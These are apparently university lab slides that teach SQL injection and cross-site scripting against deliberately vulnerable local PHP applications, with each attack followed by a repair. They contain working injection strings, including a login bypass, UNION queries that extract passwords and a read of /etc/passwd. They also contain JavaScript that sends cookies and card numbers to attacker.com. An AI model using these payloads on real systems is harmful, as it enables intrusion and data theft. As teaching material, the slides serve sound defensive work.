Christian Praher, Florian König, Michael Sonntag
Institute for Information processing and
microprocessor technology (FIM)
Johannes Kepler University Linz, Austria
{praher, koenig, sonntag}@fim.uni-linz.ac.at
Web attacks SQL Injection, Cross-Site-Scripting
1
2 Web attacks, © 2012
Scenario
Investigating an image of a Linux system
— Same image as the Live-Forensics!
It contains a webserver with three applications
— A small website based on scripts (the “Acme Corp.”)
• http://localhost/bsp1/index.php
• No real interactivity, but still some security problems!
— A small poll application: Which things do you like (“Daily Poll”)
• http://localhost/bsp2-3/index.php
• Registered users can submit comments
— The third application is not used here!
All applications are written in PHP
— You can directly modify the code and observe the results
• Take care of creating a snapshot before
— Source: /var/www/html/ ………….
4 Web attacks, © 2012
Basics
SQL Injection: Injecting SQL - or other executable database commands – by
exploiting existing SQL-command in an application
— Typically in web applications (but works the same in all kinds of software!)
Attack potential/probability is extremely high
— First place of the OWASP (Open Web Application Security Project) Top 10
Application Security Risks (Version 2010)
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
— Second place of the CWE/SANS (Common Weakness Enumeration/SysAdmin,
Audit, Network, Security) Top 25 of most dangerous software errors (Version 2010)
http://www.sans.org/top25-software-errors/
5 Web attacks, © 2012
Potential results
The damage potential of SQL injections varies and depends on both the
importance of the database affected as well as the data it contains
— Deleting all data (Denial of Service - DoS)
— Retrieving sensitive data
• Login data: usernames, hashed (?) passwords
• Financial information: credit card numbers (+name/expiry date), account
numbers, logins (e.g. paypal)
• …
— Modifying existing data (resetting password) or adding new one (e.g. new account)
— Bypassing access control (login)
— Taking over the whole machine through accessing password files, executing OS
commands as the DB user, …
6 Web attacks, © 2012
How an attack works
DB
$id = getInput()
SELECT * FROM
user WHERE id =
$id
Exploit
code Manipulated
SQL query
Valuable
data “Data leak”
7 Web attacks, © 2012
Practical example 1 - Task
Exploit of an SQL vulnerability in the exemplary application to circumvent the
access control system requiring user authentication
With this attack it should be possible to logon to the system without a valid
username or password
— You don’t even know a valid username
— You don’t know any password
— But you can still logon as “some” user
• We won’t know which user we are going to be in advance, but we can find out
later and perhaps then try to log in as a special (=admin/root/…) user!
— Try it!
http://localhost/bsp2-3/index.php
8 Web attacks, © 2012
Practical example 1 - Help
SQL is a query language working on sets of data through relational algebra
An OR operation with the value “true” as argument in the WHERE clause will
always render the whole WHERE to return true, i.e. useless
(A v True = True)
In MySQL you can add such an “or true” by adding OR 1=1 to the statement
Please note: The password field must be filled in
— Or we can’t submit the form/it will be rejected – The programmer did at least
something correctly…
Syntax is important: Don’t forget to add a “space” character at the end
— Comment syntax is “--˽“ and not “--”!
9 Web attacks, © 2012
Practical example 1 - Solution
Write “´ or true -- “ into the username field
Write any text (at least one character) into the password field
Click on submit
Result: You are logged in as “anna”
— How do you find out? Just post a comment!
Try the same by reversing the content (random username, hack in pwd field)
— Why does it work too?
• See operator precedence (AND is "stronger")!
— So try logging in as a specific user, e.g. paul
• Insert the correct username and add "'; – "; use any password (e.g. "paul'; -- ")
• Why can we not do something in the password field?
10 Web attacks, © 2012
Practical example 1 - Problem
The relevant source code is in “internal/session.php”
— The function “authenticate”, which receives the entered username and password
unmodified and directly
— Original SQL command:
$query = "SELECT id,login FROM user WHERE login='".$login."'
AND password='".$password."'";
— Version one: $query = "SELECT id,login FROM user WHERE login=''
or true -- ' AND password='yxc'";
— Version two: $query = "SELECT id,login FROM user WHERE login='yxc'
AND password='' or true -- '";
— Version three: $query = "SELECT id,login FROM user WHERE
login='paul'; -- ' AND password='yxc'";
11 Web attacks, © 2012
Practical example 1 – Repairing the code
Use a prepared statement instead
— $stmt=$conn->prepare("SELECT id,login,password FROM user WHERE
login=? AND password=?");
$stmt->bind_param("ss",$login,$password);
$stmt->execute();
$stmt->bind_result($user_id,$user_login,$user_password);
$stmt->fetch();
if($user_login==$login && $user_password==$password) {
Note:
— The SQL query is exactly the same
— We specify the two parameters to be strings
— We compare the retrieved result to make sure it exists and is the same
• Theoretically checking that exactly 1 result is returned would be enough (for this
specific attack ONLY)!
12 Web attacks, © 2012
SELECT id, name FROM article WHERE id = 15
— ORDER BY 1 ORDER BY 2 ODER BY n
• Getting the "interesting elements" to be at the top
• Increasing till an error occurs Number of columns in this query ( UNION!)
— UNION SELECT 1, user()
• Retrieving the current user
— UNION SELECT id, password FROM user
• Retrieve some data (password) from the DB
— UNION SELECT 1, load_file('/etc/passwd')
• Retrieving an external file
• Anything the DB user may access and where we know the path+filename!
— ; UPDATE article SET price = 5 WHERE id = 15
• Change the content
— ; INSERT INTO user VALUES (99, 'foo', 'bar')
• Add some content
Popular SQL injection exploits
13 Web attacks, © 2012
Practical example 2 - Task
Exploit of an SQL vulnerability in the exemplary application to access data from
unrelated other tables and showing it
The access control may be circumvented by misusing the tag search for polls to
show the content of the table “user” (columns: login, password) instead of the
polls from their table
http://localhost/bsp2-3/index.php
14 Web attacks, © 2012
Practical example 2 - Help
It is not possible to execute multiple SQL statements after each other through
mysql_query() in PHP anymore
— I.e. mysql_query(“sql1;sql2;…;sqlN”) was possible in earlier versions, but
not any longer (obvious security problem and probably never really useful!)
BUT: SQL supports the UNION operator, which creates the combinations of
SELECT queries by concatenating the results
— Prerequisite: The sets of SELECT results to combine need
to have the same number of columns (=count)!
• Note: The column names are irrelevant!
— E.g.: SELECT t1.col1, t1.col2 FROM t1
UNION
SELECT t2.col1, t2.col2 FROM t2
col1 col2 Table1
col3 col4 Table2
UNION
col2 col1
15 Web attacks, © 2012
Practical example 2 - Solution
Enter into the search field for polls "' UNION SELECT id,login FROM
user; -- "
Attention: The column names of both queries may differ, but you must supply
exactly two (valid) column names – "*" does not work!
Note: the output may be a bit strange and it may be necessary to inspect the
HTML source code to really see the result!
— Here: We don't see the id, but we can repeat it several times with different columns!
But: Where do we know “user” from, i.e. the table and column names?
— Guess it!
• Table: "user"
• Columns: "id", "login", "password"
— Some error messages might betray it
16 Web attacks, © 2012
Practical example 2 – Problem
The relevant source code is in “internal/functions.php”
— The function “getPollsByTag” receives the search text unmodified and directly
— Original SQL command:
SELECT p.id,p.question FROM poll p,tag t WHERE p.id=t.poll_id
AND t.name='".$tag."'"
— Erroneous versions:
SELECT p.id,p.question FROM poll p,tag t WHERE p.id=t.poll_id
AND t.name='' UNION SELECT id,login FROM user; -- '"
SELECT p.id,p.question FROM poll p,tag t WHERE p.id=t.poll_id
AND t.name='' UNION SELECT id,password FROM user; -- '"
• Result: Only the user table is shown (as no poll without a name exists)
• The poll name is the username (or password)
17 Web attacks, © 2012
Practical example 2 – Repairing the code
Similar to the login page: Use a prepared statement
— $stmt=$conn->prepare("SELECT p.id,p.question FROM poll p,
tag t WHERE p.id=t.poll_id AND t.name=?");
$stmt->bind_param("s",$tag);
$stmt->execute();
$stmt->bind_results($id,$question);
while($stmt->fetch()) {
$polls[]=array("id=>$id,"question"=>$question);
}
Change the code and try it again: What do you see?
— The complete string is searched for
• And echoed to the result page …
18 Web attacks, © 2012
Cross-Site-Scripting (XSS)
Very dangerous (and common) attack
— Most dangerous vulnerability according to CWE/SANS list 2010
Who had such a problem?
— Facebook, Google, YouTube, MySpace, Yahoo, Twitter, Visa, McAfee, Symantec,
Amazon, eBay, PayPal, Sony, NVIDIA, MIT, NASA, ...
— You're in good company (see also: http://xssed.com/) !
Attack: Inject "evil code" and get others to execute it
Target: Client (Webbrowser)
Transmission:
— Commonly by the web server of the vulnerable site
— Also possible by Mail, Webpages, … through links on them
19 Web attacks, © 2012
How an attack works
$value = getData()
HTML
. . .
$value
Web server Browser
Exploit code
HTML
. . .
Exploit code
Attacker
20 Web attacks, © 2012
Practical example 3
Use them same website as before (Poll application)
— Where does it accept user input?
• Form fields, parameters, cookies, …
— How is this data transmitted to the server (HTTP method)?
• GET, POST, (…)
— How is this data sent (back) to the user?
• Attribute value, tag name, textual content: Error messages and result pages
• Stored in database?
— What data is visible only to the current used?
— What data is visible to all users?
21 Web attacks, © 2012
Practical example 3
Exploit of an SQL vulnerability in the exemplary application to insert data into a
table, bypassing any checks
Try to add some javascript code to the comments, so it will be executed every
time the page (including this comment) is shown
— This would be a "Stored XSS" attack!
Try to construct a link, which – when clicked on – will "attack" the user
— This would be a "Reflected XSS" attack!
Hint/Example: Use <script>alert('Hacked!');</script> as malware
http://localhost/bsp2-3/index.php
22 Web attacks, © 2012
Practical example 3 - Help
First you have to login (somehow ), then you can post comments
— Go to the poll page and enter a comment: It will be stored in the database
— Investigate how this text is actually showed on the webpage
— Now try to enter a "strange" comment, taking care of this formatting
— Reload the page, go to another page and return, logout & return, …
Why is it possible?
— Because you can enter text – any text – as long as the application doesn't "correct" this
— Result: What you enter is printed, regardless of its meaning
• Normally it should be data, but we might also enter some "code"!
A bit different from SQL injection, but still an injection attack!
— Note: This is an even more dangerous one, as it is "permanent" (stored in the
database) and affects everyone (whoever visits the webpage)!
23 Web attacks, © 2012
Practical example 3 - Solution
Enter "<script>alert('Hacked!');</script>" in the comment box
— Note: No special quotes, double quotes etc. are needed!
This will be shown every time someone visits this page (or is shown this poll)
— Regardless of logged in, where he is coming etc.!
This is called a stored "Cross-Site Scripting" attack, or XSS
Why is it possible?
— Input sanitation is missing! Exactly the same as with SQL injection, what is entered is
not checked enough
24 Web attacks, © 2012
Practical example 3 - Solution
Create a link with the end
"search.php?tag=<script>alert("Hacked!");</script>"
— Note: Encoding not needed here, but usually necessary (e.g. spaces)!
— For easy testing you can just type it into the browser address bar; you don't need to
create a shortcut or a custom web page for this link!
The code will be part of the error message ("no poll found")
— Regardless of logged in, where he is coming etc.!
— BUT: You must get the user to click on the link (SPAM, …)
Why is it possible?
— Input sanitation is missing! Exactly the same as with SQL injection, what is entered is
not checked enough
25 Web attacks, © 2012
Practical example 3 – Other things to try
Steal the cookie
document.location="http://attacker.com/steal.php?c=" +
document.cookie; document.location="http://www.targetsite.com"
Intermediate target: Show the cookie
— alert(document.cookie);
Steal credit card number
document.location="http://attacker.com/steal.php?n=" +
document.forms[1].elements["cc_number"].value
Better hidden:
— Create a new image element (invisible, 1x1 px), and specify the URL as above as the
source of the image
• You won't get an image back, but the data is sent to the attacking host!
26 Web attacks, © 2012
Practical example 3 – Repairing the code
Attention: Using a prepared statement will not help here!
— We are attacking not on the level of SQL!
— With a prepared statement, exactly the same ("illegal") text is still stored and printed
to the output upon rendering the page
Problem: internal/render-polls.php
— <?php echo utf8_encode($comment['text']); ?>
— UTF8-encoding only makes sure that special characters are sent correctly (e.g. 'ä')
• But nothing else is changed!
Corrected version:
— utf8_encode(filter_var($comment['text'],FILTER_SANITIZE_STRING);
— This function will filter out various things, depending on the second parameter
• Here: Strips tags and removes or encodes unwanted characters
— Note: Various other methods/functions exist for correction this problem!
• E.g. if you don't want to remove, but only encode them
27 Web attacks, © 2012
Practical example 3 – Repairing the code
Other options: Investigate the following functions
— str_replace(searchArray, replaceArray, data)
— htmlspecialchars(data)
— htmlentities(data)
— filter_var(data, FILTER_SANITIZE_STRING)
Attention! These solutions work only for direct HTML!
— They are insufficient for other contexts and not generalizable!
— Especially problematic, if you want to allow certain HTML tags